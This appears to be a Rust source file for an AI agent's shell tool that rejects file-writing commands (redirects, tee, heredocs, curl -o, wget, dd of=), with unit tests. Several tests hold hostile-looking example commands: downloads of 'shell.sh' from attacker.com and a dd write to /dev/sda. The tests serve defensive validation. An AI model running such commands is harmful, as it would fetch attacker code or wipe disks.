Skip to main content

lean_ctx/tools/
ctx_shell.rs

1use crate::tools::CrpMode;
2
3const MAX_COMMAND_BYTES: usize = 8192;
4
5/// Validates a shell command before execution. Returns Some(error_message) if
6/// the command should be rejected, None if it's safe to run.
7pub fn validate_command(command: &str) -> Option<String> {
8    if command.len() > MAX_COMMAND_BYTES {
9        return Some(format!(
10            "ERROR: Command too large ({} bytes, limit {}). \
11             If you're writing file content, use the native Write/Edit tool instead. \
12             ctx_shell is for reading command output only (git, cargo, npm, etc.).",
13            command.len(),
14            MAX_COMMAND_BYTES
15        ));
16    }
17
18    // #931: strip heredoc bodies before the redirect scanner — a `>` inside a
19    // heredoc body is opaque data, not a file-write redirect.
20    let cmd_no_heredoc = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
21    if has_file_write_redirect(&cmd_no_heredoc) {
22        return Some(
23            "ERROR: ctx_shell detected a file-write command (shell redirect > or >>). \
24             Use the native Write tool to create/modify files. \
25             ctx_shell is ONLY for reading command output (git status, cargo test, npm run, etc.). \
26             File writes via shell cause MCP protocol corruption on large payloads."
27                .to_string(),
28        );
29    }
30
31    // #989: tee detection must run on heredoc-stripped text to avoid false
32    // positives when the word "tee" appears in heredoc/quoted payloads.
33    // `cmd | tee file` (piped) is output capture, not file authoring — the
34    // primary output still goes to stdout for the agent. Only bare `tee file`
35    // (not piped) is blocked as it is equivalent to `cat > file`.
36    let cmd_no_heredoc_lower = cmd_no_heredoc.to_lowercase();
37    if cmd_no_heredoc_lower.starts_with("tee ") && !cmd_no_heredoc_lower.contains("| tee ") {
38        return Some(
39            "ERROR: ctx_shell detected a file-write command (tee without pipe). \
40             Use the native Write tool to create/modify files. \
41             ctx_shell is ONLY for reading command output. \
42             Piped tee (cmd | tee file) is allowed for output capture."
43                .to_string(),
44        );
45    }
46
47    if is_heredoc_file_write(command) {
48        return Some(
49            "ERROR: ctx_shell detected a heredoc writing to a file. \
50             Use the native Write tool to create/modify files. \
51             ctx_shell is ONLY for reading command output. \
52             Note: heredocs for input piping (e.g. psql <<EOF) are allowed."
53                .to_string(),
54        );
55    }
56
57    if let Some(reason) = download_to_file_reason(command) {
58        return Some(format!(
59            "ERROR: ctx_shell detected a file download/write ({reason}). \
60             ctx_shell is ONLY for reading command output — redirect-free flags bypass \
61             this doctrine, so they are blocked too (GH #391). \
62             Fetch to stdout instead (curl <url>, wget -qO- <url>) or use the editor's \
63             native tools to create files."
64        ));
65    }
66
67    None
68}
69
70/// Detects download/copy tools writing directly to files via their own flags
71/// (`curl -o`, `wget` default mode, `dd of=`) — the redirect-free equivalent of
72/// `> file`, reported as a `validate_command` bypass in GH #391.
73fn download_to_file_reason(command: &str) -> Option<String> {
74    for seg in crate::core::shell_allowlist::extract_all_commands_pub(command) {
75        let tokens = crate::core::shell_allowlist::shell_tokenize(seg.trim());
76        let Some(first) = tokens.first() else {
77            continue;
78        };
79        let base = first.rsplit('/').next().unwrap_or(first);
80        match base {
81            "curl" => {
82                for tok in &tokens[1..] {
83                    if tok == "--output"
84                        || tok.starts_with("--output=")
85                        || tok == "--remote-name"
86                        || tok == "--remote-name-all"
87                        || tok == "--output-dir"
88                        || tok.starts_with("--output-dir=")
89                    {
90                        return Some(format!("curl {tok}"));
91                    }
92                    // Short flags cluster: -o / -O anywhere in e.g. `-fsSLo`.
93                    if tok.starts_with('-')
94                        && !tok.starts_with("--")
95                        && tok[1..].contains(['o', 'O'])
96                    {
97                        return Some(format!("curl {tok}"));
98                    }
99                }
100            }
101            "wget" => {
102                // wget writes a file BY DEFAULT; only stdout/no-download modes pass.
103                let to_stdout = tokens[1..].iter().enumerate().any(|(i, tok)| {
104                    tok == "--output-document=-"
105                        || tok == "-O-"
106                        || (tok.starts_with('-') && !tok.starts_with("--") && tok.ends_with("O-"))
107                        || ((tok == "-O" || tok == "--output-document")
108                            && tokens.get(i + 2).map(std::string::String::as_str) == Some("-"))
109                        || tok == "--spider"
110                });
111                if !to_stdout {
112                    return Some(
113                        "wget downloads to a file by default; use wget -qO- <url> for stdout"
114                            .to_string(),
115                    );
116                }
117            }
118            "dd" => {
119                for tok in &tokens[1..] {
120                    if tok.starts_with("of=") && !tok.starts_with("of=/dev/null") {
121                        return Some(format!("dd {tok}"));
122                    }
123                }
124            }
125            _ => {}
126        }
127    }
128    None
129}
130
131/// Returns true only for heredocs that redirect to files (the dangerous pattern).
132/// Legitimate heredoc uses (input piping, inline scripts) are allowed through.
133fn is_heredoc_file_write(command: &str) -> bool {
134    let has_heredoc = command.contains("<<");
135    if !has_heredoc {
136        return false;
137    }
138    let cmd_lower = command.to_lowercase();
139    let heredoc_patterns = ["<<eof", "<<'eof'", "<<\"eof\"", "<<end", "<<'end'"];
140    let has_known_heredoc = heredoc_patterns.iter().any(|p| cmd_lower.contains(p));
141    if !has_known_heredoc {
142        return false;
143    }
144    // #931: strip heredoc bodies so `>` / `>>` inside the body are not
145    // mistaken for file-write redirects.
146    let stripped = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
147    has_file_write_redirect(&stripped)
148}
149
150/// Detects shell redirect operators (`>` or `>>`) that write to files.
151/// Ignores `>` inside quotes, after a backslash escape (`\"` must not toggle
152/// quote state, `\>` is a literal), `2>` (stderr), `/dev/null`, and
153/// comparison operators.
154/// #848: temp directory targets are read-back, not persistent writes.
155/// #848/#989: targets that are NOT persistent project-file writes.
156/// Redirecting to temp dirs, /dev/* devices, or paths containing shell
157/// variables (which we cannot resolve at parse time) is output capture,
158/// not file authoring.
159pub fn is_temp_redirect_target(target: &str) -> bool {
160    let t = target.trim_start_matches(['>', '&']);
161    let lower = t.to_lowercase();
162    lower.starts_with("/tmp/")
163        || lower.starts_with("/tmp")
164        || lower.contains("\\temp\\")
165        || lower.contains("\\tmp\\")
166        || lower.starts_with("$tmpdir/")
167        || lower.starts_with("${tmpdir}")
168        || t.starts_with('$')
169        || t.starts_with("${")
170}
171fn has_file_write_redirect(command: &str) -> bool {
172    let bytes = command.as_bytes();
173    let len = bytes.len();
174    let mut i = 0;
175    let mut in_single_quote = false;
176    let mut in_double_quote = false;
177
178    while i < len {
179        let c = bytes[i];
180        if c == b'\\' && !in_single_quote {
181            // A backslash escapes the next byte (POSIX: outside quotes and
182            // inside double quotes; inside single quotes it is literal).
183            // Without this, an escaped quote like `\"` toggled the quote
184            // state and literal `>` in quoted prose (e.g. `(root: <root>)`
185            // in a gh --body string) read as a redirect (#903).
186            i += 2;
187            continue;
188        }
189        if c == b'\'' && !in_double_quote {
190            in_single_quote = !in_single_quote;
191        } else if c == b'"' && !in_single_quote {
192            in_double_quote = !in_double_quote;
193        } else if c == b'>' && !in_single_quote && !in_double_quote {
194            if i > 0 && bytes[i - 1] == b'2' {
195                i += 1;
196                continue;
197            }
198            let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
199                i + 2
200            } else {
201                i + 1
202            };
203            let target: String = command[target_start..]
204                .trim_start()
205                .chars()
206                .take_while(|c| !c.is_whitespace())
207                .collect();
208            if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
209                i += 1;
210                continue;
211            }
212            // #848: allow redirects to temp directories — agents capture
213            // build output for grepping, not writing persistent files.
214            if is_temp_redirect_target(&target) {
215                i += 1;
216                continue;
217            }
218            if !target.is_empty() {
219                return true;
220            }
221        }
222        i += 1;
223    }
224    false
225}
226
227/// On Windows cmd.exe, `;` is not a valid command separator.
228/// Convert `cmd1; cmd2` to `cmd1 && cmd2` when running under cmd.exe.
229pub fn normalize_command_for_shell(command: &str) -> String {
230    if !cfg!(windows) {
231        return command.to_string();
232    }
233    let (_, flag) = crate::shell::shell_and_flag();
234    if flag != "/C" {
235        return command.to_string();
236    }
237    let bytes = command.as_bytes();
238    let mut result = Vec::with_capacity(bytes.len() + 16);
239    let mut in_single = false;
240    let mut in_double = false;
241    for (i, &b) in bytes.iter().enumerate() {
242        if b == b'\'' && !in_double {
243            in_single = !in_single;
244        } else if b == b'"' && !in_single {
245            in_double = !in_double;
246        } else if b == b';' && !in_single && !in_double {
247            result.extend_from_slice(b" && ");
248            continue;
249        }
250        result.push(b);
251        let _ = i;
252    }
253    String::from_utf8(result).unwrap_or_else(|_| command.to_string())
254}
255
256/// Compresses shell command output using the unified compression pipeline.
257/// Delegates to the same exit-code-aware logic used by the CLI, so a failed
258/// command (`exit_code != 0`) is preserved verbatim and successful output is
259/// compressed consistently (excluded_commands, structural routing, terse). #810.
260pub fn handle(command: &str, output: &str, exit_code: i32, _crp_mode: CrpMode) -> String {
261    crate::shell::compress::engine::compress_for_outcome(command, output, exit_code)
262}
263
264#[cfg(test)]
265fn is_search_command(command: &str) -> bool {
266    let cmd = command.trim_start();
267    cmd.starts_with("grep ")
268        || cmd.starts_with("rg ")
269        || cmd.starts_with("find ")
270        || cmd.starts_with("fd ")
271        || cmd.starts_with("ag ")
272        || cmd.starts_with("ack ")
273}
274
275#[cfg(test)]
276fn generic_compress(output: &str) -> String {
277    let output = crate::core::compressor::strip_ansi(output);
278    let lines: Vec<&str> = output
279        .lines()
280        .filter(|l| {
281            let t = l.trim();
282            !t.is_empty()
283        })
284        .collect();
285
286    if lines.len() <= 20 {
287        return lines.join("\n");
288    }
289
290    let show_count = (lines.len() / 3).min(30);
291    let half = show_count / 2;
292    let first = &lines[..half];
293    let last = &lines[lines.len() - half..];
294    let omitted = lines.len() - (half * 2);
295    format!(
296        "{}\n[truncated: showing {}/{} lines, {} omitted. Use raw=true for full output.]\n{}",
297        first.join("\n"),
298        half * 2,
299        lines.len(),
300        omitted,
301        last.join("\n")
302    )
303}
304
305/// Detects OAuth device code flow output that must not be compressed.
306/// Uses a two-tier approach: strong signals match alone (very specific to
307/// device code flows), weak signals require a URL/domain in the same output.
308pub fn contains_auth_flow(output: &str) -> bool {
309    let lower = output.to_lowercase();
310
311    const STRONG_SIGNALS: &[&str] = &[
312        "devicelogin",
313        "deviceauth",
314        "device_code",
315        "device code",
316        "device-code",
317        "verification_uri",
318        "user_code",
319        "one-time code",
320    ];
321
322    if STRONG_SIGNALS.iter().any(|s| lower.contains(s)) {
323        return true;
324    }
325
326    const WEAK_SIGNALS: &[&str] = &[
327        "enter the code",
328        "enter this code",
329        "enter code:",
330        "use the code",
331        "use a web browser to open",
332        "open the page",
333        "authenticate by visiting",
334        "sign in with the code",
335        "sign in using a code",
336        "verification code",
337        "authorize this device",
338        "waiting for authentication",
339        "waiting for login",
340        "waiting for you to authenticate",
341        "open your browser",
342        "open in your browser",
343    ];
344
345    let has_weak_signal = WEAK_SIGNALS.iter().any(|s| lower.contains(s));
346    if !has_weak_signal {
347        return false;
348    }
349
350    lower.contains("http://") || lower.contains("https://")
351}
352
353#[cfg(test)]
354mod tests {
355    use super::*;
356
357    #[test]
358    fn normalize_cmd_no_change_on_unix() {
359        if cfg!(windows) {
360            return;
361        }
362        assert_eq!(
363            normalize_command_for_shell("cd /tmp; ls -la"),
364            "cd /tmp; ls -la"
365        );
366    }
367
368    #[test]
369    fn validate_allows_safe_commands() {
370        assert!(validate_command("git status").is_none());
371        assert!(validate_command("cargo test").is_none());
372        assert!(validate_command("npm run build").is_none());
373        assert!(validate_command("ls -la").is_none());
374    }
375
376    #[test]
377    fn validate_blocks_file_writes() {
378        assert!(validate_command("echo 'data' > output.txt").is_some());
379        assert!(validate_command("tee /tmp/file.txt").is_some());
380        assert!(validate_command("printf 'hello' > test.txt").is_some());
381    }
382
383    #[test]
384    fn validate_blocks_heredoc_with_file_redirect() {
385        assert!(validate_command("cat > file.py <<'EOF'\nprint('hi')\nEOF").is_some());
386        assert!(validate_command("cat <<EOF > output.txt\nhello\nEOF").is_some());
387        assert!(validate_command("cat <<'END' >> logfile.txt\ndata\nEND").is_some());
388    }
389
390    #[test]
391    fn validate_allows_heredoc_without_file_redirect() {
392        assert!(validate_command("cat <<EOF\nhello world\nEOF").is_none());
393        assert!(validate_command("psql -d mydb <<EOF\nSELECT 1;\nEOF").is_none());
394        assert!(
395            validate_command("git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"").is_none()
396        );
397        assert!(validate_command("grep pattern <<EOF\nfoo\nbar\nEOF").is_none());
398    }
399
400    #[test]
401    fn validate_blocks_oversized_commands() {
402        let huge = "x".repeat(MAX_COMMAND_BYTES + 1);
403        let result = validate_command(&huge);
404        assert!(result.is_some());
405        assert!(result.unwrap().contains("too large"));
406    }
407
408    #[test]
409    fn validate_allows_cat_without_redirect() {
410        assert!(validate_command("cat file.txt").is_none());
411    }
412
413    // --- GH #903: literal `>` in quoted prose is not a redirect ---
414
415    #[test]
416    fn validate_allows_escaped_quotes_with_angle_brackets() {
417        // `\"` inside a double-quoted string must not toggle quote state;
418        // the `>` in `<root>` is quoted data, not a redirect.
419        assert!(
420            validate_command(
421                "gh issue comment 1 --body \"$(printf 'says \\\"root: <root>\\\" only')\""
422            )
423            .is_none()
424        );
425        assert!(validate_command("echo \"say \\\">hi<\\\" ok\"").is_none());
426        // escaped `>` outside quotes is a literal, not a redirect
427        assert!(validate_command("echo a \\> b").is_none());
428    }
429
430    #[test]
431    fn validate_still_blocks_redirect_after_escapes() {
432        // the escape handling must not hide a real redirect later on
433        assert!(validate_command("echo \"a \\\"b\\\"\" > out.txt").is_some());
434        assert!(validate_command("echo \\\\ > out.txt").is_some());
435    }
436
437    // --- GH #897: heredoc-to-stdin and /dev/null redirects are not file writes ---
438
439    #[test]
440    fn heredoc_stdin_without_redirect_is_allowed() {
441        assert!(validate_command("git commit -F - <<'EOF'\nfix: something\nEOF").is_none());
442        assert!(validate_command("kubectl apply -f - <<EOF\napiVersion: v1\nEOF").is_none());
443        assert!(validate_command("git apply <<'PATCH'\n--- a/f\n+++ b/f\nPATCH").is_none());
444    }
445
446    #[test]
447    fn dev_null_redirect_is_allowed() {
448        assert!(validate_command("cat > /dev/null").is_none());
449        assert!(validate_command("cmd > /dev/null 2>&1").is_none());
450        assert!(validate_command("cmd 2>/dev/null").is_none());
451    }
452
453    #[test]
454    fn dev_stdout_and_stderr_redirects_are_allowed() {
455        assert!(validate_command("cmd > /dev/stdout").is_none());
456        assert!(validate_command("cmd > /dev/stderr").is_none());
457    }
458
459    #[test]
460    fn issue_897_edge_cases_post_fix() {
461        assert!(
462            validate_command(
463                "cat <<'EOF' > output.txt
464some content
465EOF"
466            )
467            .is_some(),
468            "heredoc to file must block"
469        );
470        assert!(
471            validate_command(
472                "git commit --allow-empty -F - <<'COMMIT_MSG'
473feat: test
474COMMIT_MSG"
475            )
476            .is_none(),
477            "git commit -F - with heredoc must allow"
478        );
479        let cmd = r#"gh issue create --title "Fix" --body "path > root: /y""#;
480        assert!(
481            validate_command(cmd).is_none(),
482            "quoted > must allow: {cmd}"
483        );
484    }
485
486    // --- GH #391: download tools writing files without shell redirects ---
487
488    #[test]
489    fn validate_blocks_curl_output_flags() {
490        assert!(validate_command("curl -o /tmp/shell.sh http://attacker.com/shell.sh").is_some());
491        assert!(validate_command("curl -fsSLo /tmp/x https://example.com").is_some());
492        assert!(validate_command("curl --output evil.bin https://example.com").is_some());
493        assert!(validate_command("curl --output=evil.bin https://example.com").is_some());
494        assert!(validate_command("curl -O https://example.com/payload").is_some());
495        assert!(validate_command("git fetch && curl -o x.sh https://e.com").is_some());
496    }
497
498    #[test]
499    fn validate_allows_curl_to_stdout() {
500        assert!(validate_command("curl https://api.example.com/health").is_none());
501        assert!(validate_command("curl -fsSL https://example.com | head -5").is_none());
502        assert!(validate_command("curl -s -X POST https://api.example.com -d '{}'").is_none());
503        // -H takes a value; no o/O short flag involved.
504        assert!(validate_command("curl -H \"Accept: application/json\" https://e.com").is_none());
505    }
506
507    #[test]
508    fn validate_blocks_wget_default_file_download() {
509        assert!(validate_command("wget http://attacker.com/shell.sh").is_some());
510        assert!(validate_command("wget -q https://example.com/file.tar.gz").is_some());
511        assert!(validate_command("wget -O /tmp/out https://example.com").is_some());
512    }
513
514    #[test]
515    fn validate_allows_wget_stdout_and_spider() {
516        assert!(validate_command("wget -qO- https://example.com").is_none());
517        assert!(validate_command("wget -O- https://example.com").is_none());
518        assert!(validate_command("wget -O - https://example.com").is_none());
519        assert!(validate_command("wget --output-document=- https://example.com").is_none());
520        assert!(validate_command("wget --spider https://example.com").is_none());
521    }
522
523    #[test]
524    fn validate_blocks_dd_output_file() {
525        assert!(validate_command("dd if=/dev/zero of=/tmp/fill bs=1M count=10").is_some());
526        assert!(validate_command("dd if=image.iso of=/dev/sda").is_some());
527    }
528
529    #[test]
530    fn validate_allows_dd_read_only() {
531        assert!(validate_command("dd if=/dev/urandom bs=16 count=1 status=none").is_none());
532        assert!(validate_command("dd if=file.bin of=/dev/null bs=1M").is_none());
533    }
534
535    // --- Auth flow detection: strong signals (no URL needed) ---
536
537    #[test]
538    fn auth_flow_detects_azure_device_code() {
539        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.";
540        assert!(contains_auth_flow(output));
541    }
542
543    #[test]
544    fn auth_flow_detects_gh_auth_one_time_code() {
545        let output = "! First copy your one-time code: ABCD-1234\n- Press Enter to open github.com in your browser...";
546        assert!(contains_auth_flow(output));
547    }
548
549    #[test]
550    fn auth_flow_detects_device_code_json() {
551        let output = r#"{"device_code":"abc123","user_code":"ABCD-1234","verification_uri":"https://example.com/activate"}"#;
552        assert!(contains_auth_flow(output));
553    }
554
555    #[test]
556    fn auth_flow_detects_verification_uri_field() {
557        let output =
558            r#"{"verification_uri": "https://login.microsoftonline.com/common/oauth2/deviceauth"}"#;
559        assert!(contains_auth_flow(output));
560    }
561
562    #[test]
563    fn auth_flow_detects_user_code_field() {
564        let output = r#"{"user_code": "FGHJK-LMNOP", "expires_in": 900}"#;
565        assert!(contains_auth_flow(output));
566    }
567
568    // --- Auth flow detection: weak signals (require URL) ---
569
570    #[test]
571    fn auth_flow_detects_gcloud_with_url() {
572        let output = "Go to the following link in your browser:\n\n    https://accounts.google.com/o/oauth2/auth?response_type=code\n\nEnter verification code: ";
573        assert!(contains_auth_flow(output));
574    }
575
576    #[test]
577    fn auth_flow_detects_aws_sso_with_url() {
578        let output = "If the browser does not open, open the following URL:\nhttps://device.sso.us-east-1.amazonaws.com/\n\nThen enter the code:\nABCD-EFGH";
579        assert!(contains_auth_flow(output));
580    }
581
582    #[test]
583    fn auth_flow_detects_firebase_with_url() {
584        let output = "Visit this URL on this device to log in:\nhttps://accounts.google.com/o/oauth2/auth?...\n\nWaiting for authentication...";
585        assert!(contains_auth_flow(output));
586    }
587
588    #[test]
589    fn auth_flow_detects_generic_browser_open_with_url() {
590        let output =
591            "Open your browser to https://login.example.com/device and enter the code XYZW-1234";
592        assert!(contains_auth_flow(output));
593    }
594
595    // --- False positive protection ---
596
597    #[test]
598    fn auth_flow_ignores_normal_build_output() {
599        let output = "Compiling lean-ctx v2.21.9\nFinished release profile\n";
600        assert!(!contains_auth_flow(output));
601    }
602
603    #[test]
604    fn auth_flow_ignores_git_output() {
605        let output = "On branch main\nYour branch is up to date with 'origin/main'.\nnothing to commit, working tree clean";
606        assert!(!contains_auth_flow(output));
607    }
608
609    #[test]
610    fn auth_flow_ignores_npm_install_output() {
611        let output = "added 150 packages in 3s\n\n24 packages are looking for funding\n  run `npm fund` for details\nhttps://npmjs.com/package/lean-ctx";
612        assert!(!contains_auth_flow(output));
613    }
614
615    #[test]
616    fn auth_flow_ignores_docs_mentioning_auth() {
617        let output = "The authorization code grant type is the most common OAuth flow.\nSee https://oauth.net/2/grant-types/ for details.";
618        assert!(!contains_auth_flow(output));
619    }
620
621    #[test]
622    fn auth_flow_weak_signal_requires_url() {
623        let output = "Please enter the code ABC123 in the terminal";
624        assert!(!contains_auth_flow(output));
625    }
626
627    #[test]
628    fn auth_flow_weak_signal_without_url_is_ignored() {
629        let output = "Waiting for authentication to complete... done!";
630        assert!(!contains_auth_flow(output));
631    }
632
633    #[test]
634    fn auth_flow_ignores_virtualenv_activate() {
635        let output = "Created virtualenv at .venv\nRun: source .venv/bin/activate";
636        assert!(!contains_auth_flow(output));
637    }
638
639    #[test]
640    fn auth_flow_ignores_api_response_with_code_field() {
641        let output = r#"{"status": "ok", "code": 200, "message": "success"}"#;
642        assert!(!contains_auth_flow(output));
643    }
644
645    // --- Integration: handle() preserves auth flow ---
646
647    #[test]
648    fn handle_preserves_auth_flow_output_fully() {
649        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.\nWaiting for you...\nLine 3\nLine 4\nLine 5\nLine 6\nLine 7\nLine 8\nLine 9\nLine 10\nLine 11\nLine 12\nLine 13";
650        // az login is Passthrough via OutputPolicy, so all content is preserved
651        let result = handle("az login --use-device-code", output, 0, CrpMode::Off);
652        assert!(result.contains("ABCD1234"), "auth code must be preserved");
653        assert!(result.contains("devicelogin"), "URL must be preserved");
654        assert!(
655            result.contains("Line 13"),
656            "all lines must be preserved (no truncation)"
657        );
658    }
659
660    #[test]
661    fn handle_compresses_normal_output_not_auth() {
662        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i} of output")).collect();
663        let output = lines.join("\n");
664        let result = handle("some-tool check", &output, 0, CrpMode::Off);
665        assert!(
666            !result.contains("auth/device-code flow detected"),
667            "normal output must not trigger auth detection"
668        );
669        assert!(
670            result.len() < output.len() + 100,
671            "normal output should be compressed, not inflated"
672        );
673    }
674
675    #[test]
676    fn is_search_command_detects_grep() {
677        assert!(is_search_command("grep -r pattern src/"));
678        assert!(is_search_command("rg pattern src/"));
679        assert!(is_search_command("find . -name '*.rs'"));
680        assert!(is_search_command("fd pattern"));
681        assert!(is_search_command("ag pattern src/"));
682        assert!(is_search_command("ack pattern"));
683    }
684
685    #[test]
686    fn is_search_command_rejects_non_search() {
687        assert!(!is_search_command("cargo build"));
688        assert!(!is_search_command("git status"));
689        assert!(!is_search_command("npm install"));
690        assert!(!is_search_command("cat file.rs"));
691    }
692
693    #[test]
694    fn generic_compress_preserves_short_output() {
695        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i}")).collect();
696        let output = lines.join("\n");
697        let result = generic_compress(&output);
698        assert_eq!(result, output);
699    }
700
701    #[test]
702    fn generic_compress_scales_with_length() {
703        let lines: Vec<String> = (1..=60).map(|i| format!("Line {i}")).collect();
704        let output = lines.join("\n");
705        let result = generic_compress(&output);
706        assert!(result.contains("truncated"));
707        let shown_count = result.lines().count();
708        assert!(
709            shown_count > 10,
710            "should show more than old 6-line limit, got {shown_count}"
711        );
712        assert!(shown_count < 60, "should be truncated, not full output");
713    }
714
715    #[test]
716    fn handle_preserves_search_results() {
717        let lines: Vec<String> = (1..=30)
718            .map(|i| format!("src/file{i}.rs:42: fn search_result()"))
719            .collect();
720        let output = lines.join("\n");
721        let result = handle("rg search_result src/", &output, 0, CrpMode::Off);
722        for i in 1..=30 {
723            assert!(
724                result.contains(&format!("file{i}")),
725                "search result file{i} should be preserved in output"
726            );
727        }
728    }
729
730    // --- GH #931: unquoted heredoc body > must not trip redirect scanner ---
731
732    #[test]
733    fn unquoted_heredoc_gt_in_body_not_blocked() {
734        let cmd = "psql <<SQL\nSELECT * FROM t WHERE x > 0;\nSQL";
735        assert!(
736            validate_command(cmd).is_none(),
737            "unquoted heredoc body with > must not be flagged as redirect"
738        );
739    }
740
741    #[test]
742    fn unquoted_heredoc_append_in_body_not_blocked() {
743        let cmd = "cat <<END\nline with >> inside\nEND";
744        assert!(
745            validate_command(cmd).is_none(),
746            "unquoted heredoc body with >> must not be flagged"
747        );
748    }
749
750    #[test]
751    fn real_redirect_after_heredoc_still_blocked() {
752        let cmd = "cat <<EOF > output.txt\ndata\nEOF";
753        assert!(
754            validate_command(cmd).is_some(),
755            "redirect OUTSIDE heredoc body must still block"
756        );
757    }
758}